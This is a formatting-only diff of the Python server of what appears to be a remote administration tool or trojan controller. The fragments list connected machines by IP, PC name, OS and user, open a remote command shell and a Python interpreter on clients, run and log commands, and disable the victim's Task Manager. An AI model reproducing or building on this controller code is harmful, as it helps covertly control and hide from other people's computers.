@@ -141,8 +141,10 @@ def close():
141141 for _ , conn in enumerate (arrConnections ):
142142 conn .send (str .encode ("exit" ))
143143 conn .close ()
144- del arrConnections ; arrConnections = []
145- del arrAddresses ; arrAddresses = []
144+ del arrConnections
145+ arrConnections = []
146+ del arrAddresses
147+ arrAddresses = []
146148
147149
148150def refresh_connections (): # used to remove any lost connections
@@ -167,15 +169,15 @@ def list_connections():
167169 for intCounter , arrAddress in enumerate (arrAddresses ):
168170 strClients += str (intCounter )
169171 for value in arrAddress :
170- strClients += f"{ 4 * ' ' } { str (value )} "
172+ strClients += f"{ 4 * ' ' } { str (value )} "
171173 strClients += "\n "
172174
173- strInfo = f"\n ID{ 3 * ' ' } "
175+ strInfo = f"\n ID{ 3 * ' ' } "
174176 for index , text in enumerate (["IP" , "Port" , "PC Name" , "OS" , "User" ]):
175- strInfo += center (str (arrAddresses [0 ][index ]), text ) + 4 * " "
177+ strInfo += center (str (arrAddresses [0 ][index ]), text ) + 4 * " "
176178 strInfo += f"\n { strClients } "
177179 print (strInfo , end = '' )
178-
180+
179181
180182def select_connection (connection_id , blnGetResponse ):
181183 global conn , arrInfo
@@ -351,6 +353,7 @@ def command_shell(): # remote cmd shell
351353 else :
352354 print (strDefault , end = "" )
353355
356+
354357def python_interpreter ():
355358 send (str .encode ("python" ))
356359 recv (intBuff )
@@ -367,6 +370,7 @@ def python_interpreter():
367370 send (str .encode ("exit" ))
368371 recv (intBuff )
369372
373+
370374def disable_taskmgr ():
371375 send (str .encode ("dtaskmgr" ))
372376 print (decode_utf8 (recv (intBuff ))) # print response
@@ -400,7 +404,7 @@ def send_command(command):
400404 send (str .encode ("runcmd" + command ))
401405 intBuffer = int (decode_utf8 (recv (intBuff ))) # receive buffer size
402406
403- strClientResponse = f"{ 24 * '=' } \n { arrInfo [0 ]} { 4 * ' ' } { arrInfo [1 ]} { decode_utf8 (recvall (intBuffer ))} { 24 * '=' } "
407+ strClientResponse = f"{ 24 * '=' } \n { arrInfo [0 ]} { 4 * ' ' } { arrInfo [1 ]} { decode_utf8 (recvall (intBuffer ))} { 24 * '=' } "
404408
405409 if os .path .isfile ("command_log.txt" ):
406410 strMode = "a"
@@ -525,5 +529,6 @@ def create_jobs():
525529 queue .put (intThread ) # put thread id into list
526530 queue .join ()
527531
532+
528533create_threads ()
529- create_jobs ()
534+ create_jobs ()
0 commit comments